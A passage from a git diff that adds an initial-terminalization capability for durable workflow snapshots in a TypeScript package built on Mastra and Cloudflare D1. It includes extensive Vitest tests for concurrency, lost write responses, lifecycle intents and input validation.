Object.defineProperty(copy, key, { + enumerable: true, + configurable: true, + get() { + const name = `${label}.${key}`; + const count = (reads.get(name) ?? 0) + 1; + reads.set(name, count); + if (variant === 'late-getters' && count > 1) + throw new Error(`late caller getter: ${name}`); + return source[key as keyof T]; + }, + }); + return copy; + } + const raw = { ...h.expected }; + const execution = { ...h.execution }; + const request = { + expected: observed(raw, 'expected'), + execution: observed(execution, 'execution'), + attemptToken: 'correlation', + nowMs: 1_700_000_000_123, + }; + let done = false; + const operation = saved + .terminalizeInitialAdmission(observed(request, 'request')) + .finally(() => { + done = true; + }); + inflight.push(operation); + void operation.catch(() => undefined); + expect(reads.size).toBe(15); + expect([...reads.values()]).toEqual(new Array(15).fill(1)); + if (variant === 'capability-during') + Object.defineProperty(h.workflows, FENCED_WORKFLOW_STORAGE, { + value: foreign.capability, + }); + else if ( + !variant.startsWith('capability') && + variant !== 'late-getters' + ) { + const [part, key] = variant.split('.'); + const target = + part === 'request' ? request : part === 'expected' ? raw : execution; + if (!key) throw new Error('mutation key missing'); + Object.defineProperty(target, key, { + value: null, + configurable: true, + enumerable: true, + }); + } + await h.workflows.persistWorkflowSnapshot({ + workflowName: 'workflow', + runId: 'unrelated', + snapshot: createEmptyWorkflowSnapshot('unrelated'), + }); + expect(done).toBe(false); + expect(casValues).toEqual([]); + expect( + calls.mock.calls.filter(([sql]) => sql.startsWith('UPDATE "')), + ).toEqual([]); + release(); + await holder; + const result = await operation; + expect(result.kind).toBe('terminalized'); + if (result.kind === 'conflict') throw new Error('unexpected conflict'); + expect(result.row.updatedAt).toBe('2023-11-14T22:13:20.123Z'); + expect(casValues).toEqual([ + [ + result.row.snapshot, + result.row.updatedAt, + 'workflow', + 'run', + h.expected.snapshot, + h.expected.createdAt, + h.expected.updatedAt, + h.expected.resourceId, + ], + ]); + expect(result.cleanup).toEqual({ + revision: 3, + status: 'cancelled', + cleanupCompleted: false, + scheduleDispatch: { scheduleId: 'schedule', dispatchId: 'dispatch' }, + }); + const snapshot = JSON.parse(result.row.snapshot); + expect(snapshot.timestamp).toBe(1_700_000_000_123); + expect(snapshot.requestContext.app).toEqual({ keep: 'λ' }); + expect(snapshot.requestContext['flowsafe.runProvenance']).toEqual({ + version: 2, + startToken: 'generation', + attemptToken: 'correlation', + resumeCounts: [], + }); + expect([...reads.values()]).toEqual(new Array(15).fill(1)); + expect( + foreign.sql.prepare('SELECT * FROM mastra_workflow_snapshot').all(), + ).toEqual(foreignBefore); + } finally { + release(); + await Promise.allSettled(inflight); + vi.restoreAllMocks(); + vi.useRealTimers(); + } + }); + + it('waits for a real partial update and preserves its resulting progress', async () => { + const h = await queuedInitial(); + const prepare = h.binding.prepare.bind(h.binding); + let entered = () => {}; + let release = () => {}; + const held = new Promise((resolve) => { + release = resolve; + }); + const enteredPromise = new Promise((resolve) => { + entered = resolve; + }); + let holdNext = true; + vi.spyOn(h.binding, 'prepare').mockImplementation((sql) => { + const statement = prepare(sql); + const bind = statement.bind.bind(statement); + vi.spyOn(statement, 'bind').mockImplementation((...values) => { + const bound = bind(...values); + if (/^INSERT INTO/i.test(sql) && holdNext) { + holdNext = false; + const all = bound.all.bind(bound); + vi.spyOn(bound, 'all').mockImplementation(async () => { + entered(); + await held; + return all(); + }); + } + return bound; + }); + return statement; + }); + try { + const holder = h.workflows.updateWorkflowState({ + workflowName: 'workflow', + runId: 'run', + opts: { status: 'running' }, + }); + await enteredPromise; + const request: InitialTerminalizationRequest = { + expected: h.expected, + execution: h.execution, + attemptToken: 'correlation', + nowMs: 123, + }; + const operation = h.capability.terminalizeInitialAdmission(request); + release(); + await holder; + const result = await operation; + expect(result.kind).toBe('progressed'); + const row = await h.capability.readSnapshot(h.execution); + expect(row).toEqual(result.row); + expect(JSON.parse(row?.snapshot ?? '').status).toBe('running'); + expect( + JSON.parse(row?.snapshot ?? '').requestContext['flowsafe.runProvenance'] + .initialAdmission, + ).toBe(true); + } finally { + release(); + vi.restoreAllMocks(); + } + }); +}); + describe('backgroundTasksStore — fail-closed accessor', () => { it('throws a clear message when the hosting Mastra has no storage', async () => { const mastra = { getStorage: () => undefined } as unknown as Mastra; diff --git a/packages/flowsafe/src/background-tasks/d1-storage.ts b/packages/flowsafe/src/background-tasks/d1-storage.ts index bbb10f3c..04191299 100644 --- a/packages/flowsafe/src/background-tasks/d1-storage.ts +++ b/packages/flowsafe/src/background-tasks/d1-storage.ts @@ -104,6 +104,14 @@ export class DurableObjectWorkflowsStorageD1 extends FencedWorkflowsStorageD1 { return super.persistWorkflowSnapshot(args); } + protected override withInitialTerminalizationLock( + workflowName: string, + runId: string, + operation: () => Promise, + ): Promise { + return this.#locked(workflowName, runId, operation); + } + override persistWorkflowSnapshot( args: Parameters[0], ): Promise { diff --git a/packages/flowsafe/src/do-runner/fenced-workflow-capability.ts b/packages/flowsafe/src/do-runner/fenced-workflow-capability.ts index 7942489b..0a074448 100644 --- a/packages/flowsafe/src/do-runner/fenced-workflow-capability.ts +++ b/packages/flowsafe/src/do-runner/fenced-workflow-capability.ts @@ -6,6 +6,7 @@ import type { StartIdentity, } from './execution-admission.js'; import type { ExecutionFenceStore } from './execution-fence.js'; +import type { RunTerminalCleanup } from './run-lifecycle.js'; import type { StartIdempotencyStore, StartReservationReading, @@ -47,6 +48,23 @@ export interface InitialAdmissionWitness { readonly row: RawWorkflowSnapshot; } +/** Exact admitted observation; the stored intent, not the caller, chooses disposition. */ +export interface InitialTerminalizationRequest { + readonly expected: RawWorkflowSnapshot; + readonly execution: D1RunExecutionIdentity; + readonly attemptToken: string; + readonly nowMs: number; +} + +/** A terminal-write observation, never admission or no-insert authority. */ +export type InitialTerminalizationResult = + | { + readonly kind: 'terminalized' | 'already-terminalized' | 'progressed'; + readonly row: RawWorkflowSnapshot; + readonly cleanup?: RunTerminalCleanup; + } + | { readonly kind: 'conflict'; readonly row?: RawWorkflowSnapshot }; + /** Explicit trusted primitive; built-in Runtime does not yet consume it. */ export interface FencedWorkflowAdmissionCapability { readonly database: InitialAdmissionDatabase; @@ -60,4 +78,8 @@ export interface FencedWorkflowAdmissionCapability { workflowId: string; runId: string; }): Promise; + /** Compare the expected initial row once, without engine execution or cleanup. */ + terminalizeInitialAdmission( + request: InitialTerminalizationRequest, + ): Promise; } diff --git a/packages/flowsafe/src/do-runner/fenced-workflows-d1.test.ts b/packages/flowsafe/src/do-runner/fenced-workflows-d1.test.ts index a2d4a0a6..be9dc3e4 100644 --- a/packages/flowsafe/src/do-runner/fenced-workflows-d1.test.ts +++ b/packages/flowsafe/src/do-runner/fenced-workflows-d1.test.ts @@ -1,5 +1,6 @@ // SPDX-License-Identifier: Apache-2.0 +import { WorkflowsStorageD1 } from '@mastra/cloudflare-d1'; import { Mastra } from '@mastra/core/mastra'; import { RequestContext } from '@mastra/core/request-context'; import { @@ -28,10 +29,16 @@ import { FENCED_WORKFLOW_STORAGE, type InitialAdmissionDatabase, type InitialRunAdmission, + type InitialTerminalizationRequest, } from './fenced-workflow-capability.js'; import { FencedWorkflowsStorageD1 } from './fenced-workflows-d1.js'; import { isDefinitiveInitialAdmissionRefusal } from './initial-admission-refusal.js'; +import { + RUN_LIFECYCLE_CONTEXT_KEY, + RunLifecycleBlockedError, +} from './run-lifecycle.js'; import { StartIdempotencyStore } from './start-idempotency.js'; +import type { RawWorkflowSnapshot } from './workflow-snapshot-row.js'; const PROVENANCE = 'flowsafe.runProvenance'; const OWNER = { kind: 'human' as const, id: 'Alice' }; @@ -42,6 +49,7 @@ async function fixture( state?: ExecutionFenceState; prefix?: string; persist?: boolean; + shouldPersist?: () => boolean; prune?: (args: { snapshot: WorkflowRunState }) => WorkflowRunState; } = {}, ) { @@ -56,7 +64,8 @@ async function fixture( inputSchema: z.object({}), outputSchema: z.object({}), options: { - shouldPersistSnapshot: () => options.persist !== false, + shouldPersistSnapshot: + options.shouldPersist ?? (() => options.persist !== false), ...(options.prune ? { pruneSnapshot: options.prune } : {}), }, }) @@ -203,6 +212,1633 @@ async function direct( afterEach(() => vi.restoreAllMocks()); +async function terminalFixture() { + const h = await fixture({ keyed: true, state: 'proof-only' }); + await direct(h, { resourceId: 'resource' }); + const expected = await h.capability.readSnapshot(h.input.execution); + if (!expected) throw new Error('initial row missing'); + const request: InitialTerminalizationRequest = { + expected, + execution: h.input.execution, + attemptToken: h.input.attemptToken, + nowMs: 1_700_000_000_123, + }; + const replace = ( + edit: ( + snapshot: Record & { + requestContext: Record & { + [PROVENANCE]: Record & { + startIdentity: { + owner: { id: string; kind: string }; + target: { id: string; kind: string; threadId?: string }; + }; + }; + }; + }, + ) => void, + ) => { + const value = JSON.parse(request.expected.snapshot); + edit(value); + const row = { ...request.expected, snapshot: JSON.stringify(value) }; + h.sql + .prepare('UPDATE mastra_workflow_snapshot SET snapshot = ?') + .run(row.snapshot); + return { ...request, expected: row }; + }; + return { ...h, request, replace }; +} + +function terminalResponse( + h: Awaited>, + change: (result: unknown) => unknown | Promise, +) { + const prepare = h.db.prepare.bind(h.db); + return vi.spyOn(h.db, 'prepare').mockImplementation((sql) => { + const statement = prepare(sql); + if (sql.startsWith('UPDATE "')) { + const bind = statement.bind.bind(statement); + vi.spyOn(statement, 'bind').mockImplementation((...values) => { + const bound = bind(...values); + const all = bound.all.bind(bound); + vi.spyOn(bound, 'all').mockImplementation( + async () => change(await all()) as never, + ); + return bound; + }); + } + return statement; + }); +} + +describe('owned initial terminalization', () => { + describe('terminalization readback and caller capture', () => { + it.each([ + 'matching', + 'changed thread', + 'changed mode', + ])('classifies %s agent readback without rewriting its raw row', async (variant) => { + const h = await terminalFixture(); + const request = h.replace((snapshot) => { + snapshot.requestContext[PROVENANCE].startIdentity = { + owner: OWNER, + target: { kind: 'agent', id: 'agent', threadId: 'thread' }, + }; + snapshot.requestContext[PROVENANCE].agentStart = { threaded: false }; + snapshot.requestContext[PROVENANCE].mutationEpoch = 7; + }); + const observed = h.replace((snapshot) => { + snapshot.status = 'running'; + snapshot.requestContext[PROVENANCE].startIdentity = { + owner: OWNER, + target: { + kind: 'agent', + id: 'agent', + threadId: variant === 'changed thread' ? 'other-thread' : 'thread', + }, + }; + snapshot.requestContext[PROVENANCE].agentStart = { + threaded: variant === 'changed mode', + }; + snapshot.requestContext[PROVENANCE].mutationEpoch = 7; + snapshot.requestContext[PROVENANCE].attemptToken = 'resume'; + snapshot.requestContext[PROVENANCE].requestedBy = 'Bob'; + snapshot.requestContext[PROVENANCE].resumeCounts = [['gate', 1]]; + delete snapshot.requestContext[PROVENANCE].initialAdmission; + }).expected; + const before = h.rows(); + const calls = vi.spyOn(h.db, 'prepare'); + const result = await h.capability.terminalizeInitialAdmission(request); + expect(result.kind).toBe( + variant === 'matching' ? 'progressed' : 'conflict', + ); + expect(result).toEqual({ + kind: variant === 'matching' ? 'progressed' : 'conflict', + row: observed, + }); + expect(h.rows()).toEqual(before); + expect(calls).toHaveBeenCalledTimes(2); + expect(calls.mock.calls[0]?.[0]).toMatch(/^UPDATE /); + expect(calls.mock.calls[1]?.[0]).toMatch(/^SELECT /); + expect(h.effects()).toBe(0); + }); + + it.each([ + ['zero', 'cancelled', false], + ['zero', 'cancelled', true], + ['zero', 'timed_out', false], + ['zero', 'timed_out', true], + ['throw', 'cancelled', false], + ['throw', 'cancelled', true], + ['throw', 'timed_out', false], + ['throw', 'timed_out', true], + ] as const)('returns actual %s %s completed=%s readback cleanup without retry', async (response, status, complete) => { + const h = await terminalFixture(); + const request = h.replace((snapshot) => { + snapshot.requestContext[RUN_LIFECYCLE_CONTEXT_KEY] = { + version: 1, + revision: 2, + scheduleDispatch: { + scheduleId: 'old-schedule', + dispatchId: 'old-dispatch', + }, + transitionIntent: { + status: 'cancelled', + requestedAt: 1, + replayPrincipals: [OWNER], + }, + }; + }); + const observed = h.replace((snapshot) => { + snapshot.status = status; + snapshot.timestamp = 456; + delete snapshot.requestContext[PROVENANCE].initialAdmission; + snapshot.requestContext[PROVENANCE].attemptToken = 'resume'; + snapshot.requestContext[PROVENANCE].requestedBy = 'Bob'; + snapshot.requestContext[PROVENANCE].resumeCounts = [['gate', 2]]; + snapshot.requestContext[RUN_LIFECYCLE_CONTEXT_KEY] = { + version: 1, + revision: 9, + scheduleDispatch: { + scheduleId: 'current-schedule', + dispatchId: 'current-dispatch', + }, + terminal: { + status, + error: { + code: status === 'cancelled' ? 'CANCELLED' : 'TIMED_OUT', + message: + status === 'cancelled' + ? 'run was cancelled' + : 'run deadline expired', + }, + transitionedAt: 456, + replayPrincipals: [{ kind: 'service', id: 'current-replay' }], + ...(complete ? { cleanupCompletedAt: 0 } : {}), + }, + }; + }).expected; + const before = h.rows(); + const participants = () => [ + h.sql.prepare('SELECT * FROM flowsafe_execution_fence').all(), + h.sql.prepare('SELECT * FROM flowsafe_start_idempotency').all(), + ]; + const participantsBefore = participants(); + const fault = new Error('UPDATE response lost before progress readback'); + const calls = terminalResponse(h, (result) => { + if (response === 'throw') throw fault; + return result; + }); + const outcome = await h.capability + .terminalizeInitialAdmission(request) + .catch((error: unknown) => error); + expect(outcome).toEqual({ + kind: 'progressed', + row: observed, + cleanup: { + revision: 9, + status, + cleanupCompleted: complete, + scheduleDispatch: { + scheduleId: 'current-schedule', + dispatchId: 'current-dispatch', + }, + }, + }); + expect(h.rows()).toEqual(before); + expect(participants()).toEqual(participantsBefore); + expect(calls).toHaveBeenCalledTimes(2); + expect(calls.mock.calls[0]?.[0]).toMatch(/^UPDATE /); + expect(calls.mock.calls[1]?.[0]).toMatch(/^SELECT /); + expect(h.effects()).toBe(0); + }); + + it.each([ + 'pending', + 'other generation', + ])('retains the original fault for %s thrown readback', async (variant) => { + const h = await terminalFixture(); + h.replace((snapshot) => { + snapshot.changed = true; + delete snapshot.requestContext[PROVENANCE].initialAdmission; + if (variant === 'other generation') { + snapshot.status = 'running'; + snapshot.requestContext[PROVENANCE].startToken = 'other-generation'; + } + }); + const before = h.rows(); + const fault = new Error('original nonconvergent UPDATE fault'); + const calls = terminalResponse(h, () => { + throw fault; + }); + const outcome = await h.capability + .terminalizeInitialAdmission(h.request) + .catch((error: unknown) => error); + expect(outcome).toBeInstanceOf(ExecutionFenceUnreadableError); + if (!(outcome instanceof ExecutionFenceUnreadableError)) + throw new Error('expected original operation uncertainty'); + expect(outcome).toMatchObject({ + status: 503, + message: 'initial admission cannot be terminalized', + }); + expect(outcome.cause).toBe(fault); + expect(h.rows()).toEqual(before); + expect(calls).toHaveBeenCalledTimes(2); + expect(calls.mock.calls[0]?.[0]).toMatch(/^UPDATE /); + expect(calls.mock.calls[1]?.[0]).toMatch(/^SELECT /); + }); + + it.each([ + 'changed intent', + 'terminal lifecycle', + ])('keeps %s pending lifecycle observations as conflict', async (variant) => { + const h = await terminalFixture(); + const request = h.replace((snapshot) => { + snapshot.requestContext[RUN_LIFECYCLE_CONTEXT_KEY] = { + version: 1, + revision: 2, + transitionIntent: { + status: 'cancelled', + requestedAt: 1, + replayPrincipals: [OWNER], + }, + }; + }); + const observed = h.replace((snapshot) => { + snapshot.requestContext[RUN_LIFECYCLE_CONTEXT_KEY] = { + version: 1, + revision: 4, + ...(variant === 'changed intent' + ? { + transitionIntent: { + status: 'timed_out', + requestedAt: 2, + replayPrincipals: [{ kind: 'service', id: 'later' }], + }, + } + : { + terminal: { + status: 'cancelled', + error: { code: 'CANCELLED', message: 'run was cancelled' }, + transitionedAt: 2, + replayPrincipals: [OWNER], + }, + }), + }; + }).expected; + const before = h.rows(); + const calls = vi.spyOn(h.db, 'prepare'); + const result = await h.capability.terminalizeInitialAdmission(request); + expect(result).toEqual({ kind: 'conflict', row: observed }); + expect(h.rows()).toEqual(before); + expect(calls).toHaveBeenCalledTimes(2); + expect(calls.mock.calls[0]?.[0]).toMatch(/^UPDATE /); + expect(calls.mock.calls[1]?.[0]).toMatch(/^SELECT /); + }); + + it.each([ + false, + null, + 'true', + 0, + ])('refuses malformed admission marker %j in nonpending readback', async (marker) => { + const h = await terminalFixture(); + h.replace((snapshot) => { + snapshot.status = 'success'; + snapshot.requestContext[PROVENANCE].initialAdmission = marker; + }); + const before = h.rows(); + const calls = vi.spyOn(h.db, 'prepare'); + const outcome = await h.capability + .terminalizeInitialAdmission(h.request) + .catch((error: unknown) => error); + expect(outcome).toBeInstanceOf(ExecutionFenceUnreadableError); + expect(outcome).toMatchObject({ + status: 503, + message: 'initial admission cannot be terminalized', + cause: expect.any(Error), + }); + expect(h.rows()).toEqual(before); + expect(calls).toHaveBeenCalledTimes(2); + expect(calls.mock.calls[0]?.[0]).toMatch(/^UPDATE /); + expect(calls.mock.calls[1]?.[0]).toMatch(/^SELECT /); + }); + + it('ignores SELECT changes metadata when returning an unmarked raw progress row', async () => { + const h = await terminalFixture(); + const observed = h.replace((snapshot) => { + snapshot.status = 'running'; + delete snapshot.requestContext[PROVENANCE].initialAdmission; + }).expected; + const before = h.rows(); + let selectResponses = 0; + const prepare = h.db.prepare.bind(h.db); + const calls = vi.spyOn(h.db, 'prepare').mockImplementation((sql) => { + const statement = prepare(sql); + if (sql.startsWith('SELECT ')) { + const bind = statement.bind.bind(statement); + vi.spyOn(statement, 'bind').mockImplementation((...values) => { + const bound = bind(...values); + const all = bound.all.bind(bound); + vi.spyOn(bound, 'all').mockImplementation(async () => { + const result = await all(); + selectResponses += 1; + return { ...result, meta: { changes: 77 } } as never; + }); + return bound; + }); + } + return statement; + }); + const result = await h.capability.terminalizeInitialAdmission(h.request); + expect(result).toEqual({ kind: 'progressed', row: observed }); + expect(selectResponses).toBe(1); + expect(h.rows()).toEqual(before); + expect(calls).toHaveBeenCalledTimes(2); + expect(calls.mock.calls[0]?.[0]).toMatch(/^UPDATE /); + expect(calls.mock.calls[1]?.[0]).toMatch(/^SELECT /); + }); + + it.each([ + 'request.expected', + 'request.execution', + 'request.attemptToken', + 'request.nowMs', + 'expected.tablePrefix', + 'expected.workflowId', + 'expected.runId', + 'expected.resourceId', + 'expected.snapshot', + 'expected.createdAt', + 'expected.updatedAt', + 'execution.tablePrefix', + 'execution.workflowId', + 'execution.runId', + 'execution.startToken', + ])('preserves first throwing %s getter on the default domain without SQL', async (field) => { + const h = await terminalFixture(); + const request = { + ...h.request, + expected: { ...h.request.expected }, + execution: { ...h.request.execution }, + }; + const fault = new Error(`caller fault at ${field}`); + const getter = vi.fn(() => { + throw fault; + }); + const [part, key] = field.split('.'); + if (!key) throw new Error('caller field missing'); + const target = + part === 'request' + ? request + : part === 'expected' + ? request.expected + : request.execution; + Object.defineProperty(target, key, { enumerable: true, get: getter }); + const before = h.rows(); + const prepare = vi.spyOn(h.db, 'prepare'); + const batch = vi.spyOn(h.db, 'batch'); + const outcome = await h.capability + .terminalizeInitialAdmission(request) + .catch((error: unknown) => error); + expect(outcome).toBe(fault); + expect(getter).toHaveBeenCalledTimes(1); + expect(prepare).not.toHaveBeenCalled(); + expect(batch).not.toHaveBeenCalled(); + expect(h.rows()).toEqual(before); + expect(h.effects()).toBe(0); + }); + + it('captures every default-domain caller getter once before a held UPDATE and ignores later faults', async () => { + const h = await terminalFixture(); + const reads = new Map(); + const fault = new Error('caller reread after capture'); + let late = false; + function observed(source: T, label: string): T { + const copy = { ...source }; + for (const key of Object.keys(source)) + Object.defineProperty(copy, key, { + enumerable: true, + get() { + const name = `${label}.${key}`; + reads.set(name, (reads.get(name) ?? 0) + 1); + if (late) throw fault; + return source[key as keyof T]; + }, + }); + return copy; + } + const request = observed( + { + ...h.request, + expected: observed({ ...h.request.expected }, 'expected'), + execution: observed({ ...h.request.execution }, 'execution'), + }, + 'request', + ); + let enter = () => {}; + let release = () => {}; + const entered = new Promise((resolve) => { + enter = resolve; + }); + const held = new Promise((resolve) => { + release = resolve; + }); + const calls = terminalResponse(h, async (result) => { + enter(); + await held; + return result; + }); + const operation = h.capability.terminalizeInitialAdmission(request); + try { + await Promise.race([ + entered, + operation.then(() => { + throw new Error('UPDATE did not remain held'); + }), + ]); + expect(reads.size).toBe(15); + expect([...reads.values()]).toEqual(new Array(15).fill(1)); + late = true; + release(); + const result = await operation; + expect(result.kind).toBe('terminalized'); + if (result.kind === 'conflict') throw new Error('unexpected conflict'); + const snapshot = JSON.parse(result.row.snapshot); + const original = JSON.parse(h.request.expected.snapshot); + const provenance = { ...original.requestContext[PROVENANCE] }; + delete provenance.initialAdmission; + expect(snapshot).toEqual({ + ...original, + status: 'failed', + error: { + name: 'StartOutcomeUnknown', + message: + 'Start interrupted before a durable execution outcome was recorded; external effects may have occurred. This run will not be automatically re-executed.', + }, + requestContext: { + ...original.requestContext, + [PROVENANCE]: provenance, + }, + timestamp: h.request.nowMs, + }); + expect(result.row).toEqual({ + ...h.request.expected, + snapshot: result.row.snapshot, + updatedAt: new Date(h.request.nowMs).toISOString(), + }); + expect(result).not.toHaveProperty('cleanup'); + expect(calls).toHaveBeenCalledTimes(1); + expect(calls.mock.calls[0]?.[0]).toMatch(/^UPDATE /); + expect(calls.mock.results[0]?.value.bind).toHaveBeenCalledWith( + result.row.snapshot, + result.row.updatedAt, + h.request.expected.workflowId, + h.request.expected.runId, + h.request.expected.snapshot, + h.request.expected.createdAt, + h.request.expected.updatedAt, + h.request.expected.resourceId, + ); + expect(h.rows()).toEqual([ + expect.objectContaining({ + workflow_name: h.request.expected.workflowId, + run_id: h.request.expected.runId, + resourceId: h.request.expected.resourceId, + createdAt: h.request.expected.createdAt, + updatedAt: result.row.updatedAt, + snapshot: result.row.snapshot, + }), + ]); + expect([...reads.values()]).toEqual(new Array(15).fill(1)); + expect(h.effects()).toBe(0); + } finally { + release(); + await Promise.allSettled([operation]); + } + }); + }); + + it.each([ + ['identity', null, 'execution identity must be an object'], + ['identity', [], 'execution identity must be an object'], + [ + 'tablePrefix', + null, + 'tablePrefix is not valid for this execution identity', + ], + [ + 'tablePrefix', + 'bad-prefix', + 'tablePrefix is not valid for this execution identity', + ], + ['tablePrefix', 42, 'tablePrefix is not valid for this execution identity'], + ['workflowId', '', 'workflowId must be a URL-path-safe identifier'], + ['runId', 'bad/run', 'runId must be a URL-path-safe identifier'], + ['startToken', '', 'startToken must be a URL-path-safe identifier'], + ] as const)('preserves the field-specific %s identity400 for %j before stored-data validation', async (field, value, message) => { + const h = await terminalFixture(); + const before = h.rows(); + const prepare = vi.spyOn(h.db, 'prepare'); + const batch = vi.spyOn(h.db, 'batch'); + const error = await h.capability + .terminalizeInitialAdmission({ + ...h.request, + expected: { ...h.request.expected, snapshot: '{' }, + execution: + field === 'identity' + ? value + : { ...h.request.execution, [field]: value }, + } as InitialTerminalizationRequest) + .catch((error: unknown) => error); + expect(error).toBeInstanceOf(InvalidExecutionIdentityError); + if (!(error instanceof InvalidExecutionIdentityError)) + throw new Error('expected input error'); + expect(error.constructor).toBe(InvalidExecutionIdentityError); + expect(error.reason).toEqual({ code: 'INVALID_EXECUTION_IDENTITY' }); + expect(error).toMatchObject({ + name: 'InvalidExecutionIdentityError', + status: 400, + reason: { code: 'INVALID_EXECUTION_IDENTITY' }, + message, + }); + expect(isDefinitiveInitialAdmissionRefusal(error, h.input.execution)).toBe( + false, + ); + expect(prepare).not.toHaveBeenCalled(); + expect(batch).not.toHaveBeenCalled(); + expect(h.rows()).toEqual(before); + expect(h.effects()).toBe(0); + }); + + it.each([ + ['pending', false], + ['pending', null], + ['pending', 'true'], + ['pending', 0], + ['success', false], + ['success', null], + ['success', 'true'], + ['success', 0], + ] as const)('refuses malformed admission marker in expected %s observation: %j', async (status, marker) => { + const h = await terminalFixture(); + const request = h.replace((snapshot) => { + snapshot.status = status; + snapshot.requestContext[PROVENANCE].initialAdmission = marker; + }); + const before = h.rows(); + const prepare = vi.spyOn(h.db, 'prepare'); + const batch = vi.spyOn(h.db, 'batch'); + const error = await h.capability + .terminalizeInitialAdmission(request) + .catch((error: unknown) => error); + expect(error).toBeInstanceOf(ExecutionFenceUnreadableError); + expect(error).toMatchObject({ + name: 'ExecutionFenceUnreadableError', + status: 503, + reason: { code: 'EXECUTION_FENCE_UNREADABLE' }, + message: 'initial admission cannot be terminalized', + cause: expect.any(Error), + }); + expect(isDefinitiveInitialAdmissionRefusal(error, h.input.execution)).toBe( + false, + ); + expect(prepare).not.toHaveBeenCalled(); + expect(batch).not.toHaveBeenCalled(); + expect(h.rows()).toEqual(before); + expect(h.effects()).toBe(0); + }); + + it.each([ + 'before', + 'after', + ] as const)('recovers later progress after throwing %s actual UPDATE commit', async (phase) => { + const h = await terminalFixture(); + const initial = h.rows(); + const fault = new Error(`${phase} actual commit response loss`); + let observed: RawWorkflowSnapshot | undefined; + let laterRows: unknown[] = []; + let committed = 0; + const prepare = h.db.prepare.bind(h.db); + const calls = vi.spyOn(h.db, 'prepare').mockImplementation((sql) => { + const statement = prepare(sql); + if (sql.startsWith('UPDATE "')) { + const bind = statement.bind.bind(statement); + vi.spyOn(statement, 'bind').mockImplementation((...values) => { + const bound = bind(...values); + const all = bound.all.bind(bound); + vi.spyOn(bound, 'all').mockImplementation(async () => { + if (phase === 'after') { + const response = await all(); + expect(response.results).toHaveLength(1); + expect(h.rows()).toEqual([ + expect.objectContaining({ + snapshot: values[0], + updatedAt: values[1], + }), + ]); + committed += 1; + } else { + expect(h.rows()).toEqual(initial); + } + const row = h.replace((snapshot) => { + snapshot.status = 'running'; + snapshot.timestamp = 456; + snapshot.requestContext[PROVENANCE].attemptToken = 'resume'; + snapshot.requestContext[PROVENANCE].requestedBy = 'Bob'; + snapshot.requestContext[PROVENANCE].resumeCounts = [['gate', 1]]; + delete snapshot.requestContext[PROVENANCE].initialAdmission; + }).expected; + observed = { ...row, updatedAt: new Date(456).toISOString() }; + h.sql + .prepare('UPDATE mastra_workflow_snapshot SET updatedAt = ?') + .run(observed.updatedAt); + laterRows = h.rows(); + throw fault; + }); + return bound; + }); + } + return statement; + }); + const result = await h.capability + .terminalizeInitialAdmission(h.request) + .catch((error: unknown) => error); + expect(result).toEqual({ kind: 'progressed', row: observed }); + expect(committed).toBe(phase === 'after' ? 1 : 0); + expect(observed).toBeDefined(); + expect(h.rows()).toEqual(laterRows); + expect(calls).toHaveBeenCalledTimes(2); + expect(calls.mock.calls[0]?.[0]).toMatch(/^UPDATE /); + expect(calls.mock.calls[1]?.[0]).toMatch(/^SELECT /); + expect(h.effects()).toBe(0); + }); + + it.each([ + ['cancelled', 'throw'], + ['cancelled', 'zero'], + ['cancelled', 'returned'], + ['timed_out', 'throw'], + ['timed_out', 'zero'], + ['timed_out', 'returned'], + ] as const)('converges exact stored %s intent after %s response and explicit retry with incomplete cleanup', async (status, response) => { + const h = await terminalFixture(); + const principals = [{ kind: 'service', id: 'original-replay' }]; + const scheduleDispatch = { + scheduleId: 'intent-schedule', + dispatchId: 'intent-dispatch', + }; + const economicOperations = [{ id: 'economic', settlementState: 'settled' }]; + const request = h.replace((snapshot) => { + snapshot.requestContext[RUN_LIFECYCLE_CONTEXT_KEY] = { + version: 1, + revision: 4, + deadlineAt: 123, + scheduleDispatch, + economicOperations, + transitionIntent: { + status, + requestedAt: 1, + replayPrincipals: principals, + }, + }; + }); + const participants = () => [ + h.sql.prepare('SELECT * FROM flowsafe_execution_fence').all(), + h.sql.prepare('SELECT * FROM flowsafe_start_idempotency').all(), + ]; + const before = participants(); + const cardinalities: number[] = []; + const fault = new Error('stored intent response lost after commit'); + const calls = terminalResponse(h, (raw) => { + const result = raw as { results: unknown[] }; + cardinalities.push(result.results.length); + if (cardinalities.length === 1) { + expect(result.results).toHaveLength(1); + if (response === 'throw') throw fault; + if (response === 'zero') return { results: [], meta: { changes: 0 } }; + } + return raw; + }); + const result = await h.capability.terminalizeInitialAdmission(request); + expect(result.kind).toBe( + response === 'returned' ? 'terminalized' : 'already-terminalized', + ); + if (result.kind === 'conflict') throw new Error('unexpected conflict'); + const original = JSON.parse(request.expected.snapshot); + const provenance = { ...original.requestContext[PROVENANCE] }; + delete provenance.initialAdmission; + expect(JSON.parse(result.row.snapshot)).toEqual({ + ...original, + status, + error: { + name: status === 'cancelled' ? 'RunCancelledError' : 'RunTimedOutError', + message: + status === 'cancelled' ? 'run was cancelled' : 'run deadline expired', + }, + requestContext: { + ...original.requestContext, + [PROVENANCE]: provenance, + [RUN_LIFECYCLE_CONTEXT_KEY]: { + version: 1, + revision: 5, + deadlineAt: 123, + scheduleDispatch, + economicOperations, + terminal: { + status, + error: { + code: status === 'cancelled' ? 'CANCELLED' : 'TIMED_OUT', + message: + status === 'cancelled' + ? 'run was cancelled' + : 'run deadline expired', + }, + transitionedAt: request.nowMs, + replayPrincipals: principals, + }, + }, + }, + timestamp: request.nowMs, + }); + expect(result.row).toEqual({ + ...request.expected, + snapshot: result.row.snapshot, + updatedAt: new Date(request.nowMs).toISOString(), + }); + expect(result.cleanup).toEqual({ + revision: 5, + status, + cleanupCompleted: false, + scheduleDispatch, + }); + expect(calls).toHaveBeenCalledTimes(response === 'returned' ? 1 : 2); + expect(calls.mock.calls[0]?.[0]).toMatch(/^UPDATE /); + if (response !== 'returned') + expect(calls.mock.calls[1]?.[0]).toMatch(/^SELECT /); + const committedRows = h.rows(); + expect(committedRows).toEqual([ + { + workflow_name: result.row.workflowId, + run_id: result.row.runId, + snapshot: result.row.snapshot, + resourceId: result.row.resourceId, + createdAt: result.row.createdAt, + updatedAt: result.row.updatedAt, + }, + ]); + calls.mockClear(); + const retry = await h.capability.terminalizeInitialAdmission(request); + expect(retry).toEqual({ ...result, kind: 'already-terminalized' }); + expect(cardinalities).toEqual([1, 0]); + expect(calls).toHaveBeenCalledTimes(2); + expect(calls.mock.calls[0]?.[0]).toMatch(/^UPDATE /); + expect(calls.mock.calls[1]?.[0]).toMatch(/^SELECT /); + expect(h.rows()).toEqual(committedRows); + 